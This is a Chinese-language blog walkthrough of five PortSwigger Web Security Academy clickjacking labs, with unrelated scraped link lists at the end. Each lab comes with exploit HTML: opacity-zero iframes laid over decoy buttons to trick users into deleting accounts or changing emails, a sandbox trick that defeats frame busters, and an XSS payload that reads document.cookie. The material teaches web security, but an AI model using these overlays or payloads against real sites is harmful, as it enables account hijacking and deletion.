Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing)
1 - Basic clickjacking with CSRF token protection
题目描述
- 登陆后可以删除账号,但是该功能点有csrf token保护
要求
- 让受害者删掉自己的账号
解题过程
因为要调CSS,就先用一下材料里给的代码看看(具体参数有问题,自己调整调整,显示没过,然后修改的时候提示solved。。。原本的参数没记下来)
<head>
<style>
#target_website {
position: relative;
width: 1280px;
height: 400px;
opacity: 0.0000000000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:575px;
left:100px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
click
</div>
<iframe id="target_website" src="https://ac411f1c1e3720d880aa0ddc00c8008d.web-security-academy.net/my-account">
</iframe>
</body>
2 - Clickjacking with form input data prefilled from a URL parameter
题目描述
- 没啥描述的
要求
- 利用预填充来修改用户邮箱
解题过程
访问
/my-account?email=asd@asd.asd
,发现邮箱被预填充进页面构造恶意页面,钓鱼(借助上一题的代码)
<head>
<style>
#target_website {
position: relative;
width: 400px;
height: 600px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:525px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" src="https://ac131f121fdf9d78802b4cc1006300fb.web-security-academy.net/my-account?email=asd@asd.asd">
</iframe>
</body>
3 - Clickjacking with a frame buster script
题目描述
- 这个lab被frame buster保护着
要求
- 修改受害者邮箱
解题过程
材料里有说frame buster,大致意思就是只接受自己是最顶层网页(根节点),关于这个东西google上挺多的,[贴一个])(https://zhuanlan.zhihu.com/p/27310909)
但是
iframe
指定sandbox为allow-forms或者allow-scripts
,且忽略allow-top-navigation
会使iframe
中的网页不知道自己是否是最顶层网页构造exp
<head>
<style>
#target_website {
position: relative;
width: 400px;
height: 600px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:505px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" sandbox="allow-forms" src="https://ac741fe61e32394280fe03af00970035.web-security-academy.net/my-account?email=asd@asd.asd">
</iframe>
</body>
4 - Exploiting clickjacking vulnerability to trigger DOM-based XSS
题目描述
- 把Dom based XSS和Clickjacking结合起来
要求
alert(document.cookie)
解题过程
首先找XSS,发现在feedback页面可以使用GET预填充参数,提交后,会把name直接打印出来
构造exp
<head>
<style>
#target_website {
position: relative;
width: 1000px;
height: 1000px;
opacity: 0.00000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:805px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" src="https://ac2c1f701efa1dee807e67af00d40001.web-security-academy.net/feedback?name=%3Cimg/src=x%20onerror=alert(document.cookie)%3E&email=asd@asd.com&subject=asd&message=asd">
</iframe>
</body>
5 - Multistep clickjacking
题目描述
- 这个lab的账号相关的功能点被csrf token保护着,并且有一个确认对话框来防止点击劫持
要求
- 让受害者删除自己的账号
解题过程
多了个对话框。。。相比实际场景,不需要动态显示就很简单了
上exp
<head>
<style>
#target_website {
position: relative;
width: 1000px;
height: 1000px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website_1 {
position:absolute;
top:495px;
left:60px;
z-index:1;
}
#decoy_website_2 {
position:absolute;
top:285px;
left:190px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website_1">
Click me first
</div>
<div id="decoy_website_2">
Click me next
</div>
<iframe id="target_website" src="https://ac871f9f1e4e40b7801a875000290076.web-security-academy.net/my-account">
</iframe>
</body>
Portswigger web security academy:Clickjacking (UI redressing)的更多相关文章
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...
随机推荐
- python多线程参考文章
1. https://www.jianshu.com/p/c93e630d8089 2.https://www.runoob.com/python/python-multithreading.html ...
- 网易云信 QUIC 加速服务架构与实践
导语:网易云信作为音视频服务提供商的领导者,一直致力于提供顶级的音视频通话服务体验,为用户在各种恶劣环境下提供可靠的音视频服务.如何在极端弱网条件下仍然能给用户提供可靠的音视频服务,是网易云信关注的重 ...
- Python 详解修饰器 附带 js使用修饰器
修饰器 功能 修饰器的主要功能是,在不改变已有代码的情况下,为某一个类,方法等扩展功能 首先看这样一段代码 def foo(): for i in range(10): print(i) foo() ...
- PAT (Advanced Level) Practice 1019 General Palindromic Number (20 分) 凌宸1642
PAT (Advanced Level) Practice 1019 General Palindromic Number (20 分) 凌宸1642 题目描述: A number that will ...
- 阳明-K8S训练营全部文档-2020年08月11日14:59:02更新
阳明-K8S训练营全部文档 Docker 基础 简介 安装 基本操作 Dockerfile Dockerfile最佳实践 Kubernetes 基础 简介 安装 资源清单 Pod 原理 Pod 生命周 ...
- istio sidecar使用自定义镜像源
Istio 和 sidecar 配置保存在 istio 和 istio-sidecar-injector 这两个 ConfigMap 中,其中包含了 Go template,所谓自动 sidecar ...
- Distributed | MapReduce
最近终于抽出时间开始学习MIT 6.824,本文为我看MapReduce论文和做lab后的总结. [MapReduce英文论文] lab要用到go语言,这也是我第一次接触.可以参考go语言圣经学习基本 ...
- spring5源码编译过程中必经的坑
spring源码编译流程:Spring5 源码下载 第 一 步 : https://github.com/spring-projects/spring-framework/archive/v5.0.2 ...
- python基础(十):集合的使用(上)
集合的作用 去重:把一个列表变成集合,就自动去重了. 关系测试:测试两组数据之前的交集.差集.并集等关系. 集合的特征 集合使用 set 表示: 集合也使用{ }表示, 与字典不同的是:字典中存储的是 ...
- python基础(补充):递归函数
在讲解递归函数之前我们先了解一下栈堆 单独讲栈堆是数据结构 栈:后进先出的一种数据结构 堆:排序后的一种树状数据结构 栈区堆区是内存空间 栈区:按照后进先出的数据结构(栈),无论创建或销毁都是自动为数 ...